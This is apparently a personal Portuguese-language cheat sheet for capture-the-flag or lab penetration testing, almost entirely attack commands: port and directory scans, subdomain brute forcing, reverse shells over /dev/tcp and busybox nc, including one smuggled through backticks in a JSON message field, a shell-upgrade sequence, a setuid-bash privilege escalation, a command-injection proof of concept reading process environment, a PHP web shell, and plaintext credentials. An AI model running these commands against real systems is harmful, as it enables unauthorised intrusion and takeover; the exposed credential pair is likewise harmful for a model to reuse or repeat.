admin:admin

nmap

#Esse nmap talvez ajude
nmap -sSV -Pn -T5 -p 1-10000 192.168.15.133 
#Rode o de cima primeiro e deixe um terminal rodando
nmap -sSV -Pn -T5 -p- 192.168.15.133 

Feroxbuster

feroxbuster -u "http://<SITE-OR-IP>/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.js
#/usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
#Essa wordlist pode ajudar

Acho melhor usar esse

ffuf -u http://kite.local/FUZZ -w /usr/share/wordlists/dirb/big.txt -
recursion -recursion-depth 2 -recursion-strategy greedy -t 150
# -recursion - Ativa o modo recursivo.

# -recursion-depth 2 - Define a profundidade máxima dessa recursão.
#Exemplo http://kite.local/admin/secret/

# -recursion-strategy greedy - Controla como o ffuf faz a recursão.
#greedy significa que ele vai atacar imediatamente qualquer diretório descoberto, 
#mesmo antes de terminar o wordlist atual — é o modo mais agressivo.

FFUF - Brute force de subdominios

Obs: caso ache algum site jogue no /etc/hosts

ffuf -H "Host: FUZZ.<SITE>.hc" -u http://<SITE>.hc -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 20

Rev-shell com urlencode

https://urlencode.org/

/bin/bash -c 'sh -i >& /dev/tcp/<IP-VPN>/4444 0>&1'

#REV-Shell, com busybox
"message":"`busybox nc ip porta -e bash`Hello"

Melhorar nossa shell

Comandos no alvo: 
$ export TERM=xterm
$ script /dev/null -c bash
CTRL + Z
------------------------------------
Agora no seu kali:
stty raw -echo && fg

Escalando o priv

system("chmod u+s /bin/bash");
-------------------------------------------------------------------------------
### VARIAVEIS DE AMBIENTE ### 
python3 poc.py http://lang.flow.hc/signup "cat /proc/self/environ"
andrew:eb1MNdO4oaVj9i4OT
ssh andrew@<IP>
--------------------------------------------------------------------------------

shell.php

<php system($_GET['cmd']);>